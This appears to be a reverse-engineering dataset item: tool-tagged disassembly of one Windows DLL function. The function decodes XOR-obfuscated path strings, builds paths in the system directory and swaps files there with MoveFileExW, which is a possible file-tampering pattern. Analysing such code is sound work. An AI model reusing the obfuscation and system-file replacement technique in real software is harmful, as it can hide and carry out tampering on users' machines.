Function at 0x180027700
Capabilities:
Authenticate hmac
Check if file exists
Encode data using xor
Get common file path
Get file attributes
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x418]
sub rsp, 0x4f0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm9
movzx r14d, cl
xor r15d, r15d
mov edx, 0x104
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x180027d21
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea rax, [rbp - 0x40]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rax + r8*2], r15w
jne 0x180027770
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.180006af0
nop
movups xmm0, xmmword [0x180158150]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x180158160]
mov dword [rsp + 0x50], eax
cmp word [0x180158162], 0
je 0x1800277e9
mov eax, 0x5c
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x33
xor word [rsp + 0x44], 0x34
xor word [rsp + 0x46], 0x35
xor word [rsp + 0x48], 0x36
xor word [rsp + 0x4a], 0x37
xor word [rsp + 0x4c], 0x38
xor word [rsp + 0x4e], 0x39
xor word [rsp + 0x50], 0x3a
xor word [rsp + 0x52], 0x3b
lea rax, [rsp + 0x40]
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x1800277f1
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1800082a0
movups xmm3, xmmword [str.dq_MrEN]
movups xmmword [rsp + 0x40], xmm3
movsd xmm0, qword [str.XZ_VKO_]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x180158180]
mov dword [rsp + 0x58], eax
movzx eax, word [0x180158184]
mov word [rsp + 0x5c], ax
mov r8d, r15d
mov r12d, 5
lea r13d, [r12 + 0x1a]
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x180027948
movdqa xmm4, xmmword [0x18015bfd0]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.222222223333333388888888]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x18015bd70]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.222222223333333388888888]
movq xmm0, qword [rsp + 0x48]
xorps xmm2, xmm0
movq qword [rsp + 0x48], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xf
jl 0x180027960
lea rax, [rsp + 0x40]
mov rcx, rbx
nop
inc rcx
cmp word [rax + rcx*2], 0
jne 0x1800279a0
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
mov rdx, qword [rsp + 0x70]
sub rax, rdx
cmp rax, rcx
jb 0x180027d52
lea r9, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae r9, qword [rsp + 0x60]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x80]
call fcn.1800079c0
nop
movups xmm9, xmmword [0x180158388]
movups xmmword [rsp + 0x40], xmm9
movsd xmm0, qword [0x180158398]
movsd qword [rsp + 0x50], xmm0
cmp word [0x18015839e], 0
je 0x180027b63
mov ecx, r15d
cmp esi, 2
jl 0x180027b25
movdqa xmm4, xmmword [0x18015bfd0]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, qword [str.222222223333333388888888]
paddw xmm3, xmm2
movq xmm1, xmm9
xorps xmm3, xmm1
movq qword [rsp + 0x40], xmm3
movdqa xmm2, xmmword [0x18015bd70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, qword [str.222222223333333388888888]
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x48]
xorps xmm3, xmm0
movq qword [rsp + 0x48], xmm3
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x40]
lea r8, [r8 + rax*2]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x39
movzx eax, cx
sub ax, dx
add ax, 0x32
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0xc
jl 0x180027b31
lea rax, [rsp + 0x40]
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x180027b70
mov rax, qword [rsp + 0x70]
sub rdi, rax
cmp rdi, rbx
jb 0x180027d58
lea r9, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae r9, qword [rsp + 0x60]
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x60]
call fcn.1800079c0
test r14b, r14b
je 0x180027c0f
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180027c0a
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
mov r8d, 9
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x180027c0a
mov eax, 1
jmp 0x180027c37
mov eax, r15d
jmp 0x180027c37
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rcx, qword [rbp - 0x60]
mov r8d, 9
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
setne bl
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x180027c7c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180027c77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180027d5e
call fcn.1800b9f6c
movdqa xmm0, xmmword [0x18015bd30]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], r15w
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x180027cce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180027cc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180027d64
call fcn.1800b9f6c
movdqa xmm0, xmmword [0x18015bd30]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r15w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x180027d1e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180027d19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180027d4c
call fcn.1800b9f6c
movzx eax, bl
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm9, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800c5e04
nop
call fcn.180001570
nop
call fcn.180001570
int3
call fcn.1800c5e04
nop
call fcn.1800c5e04
int3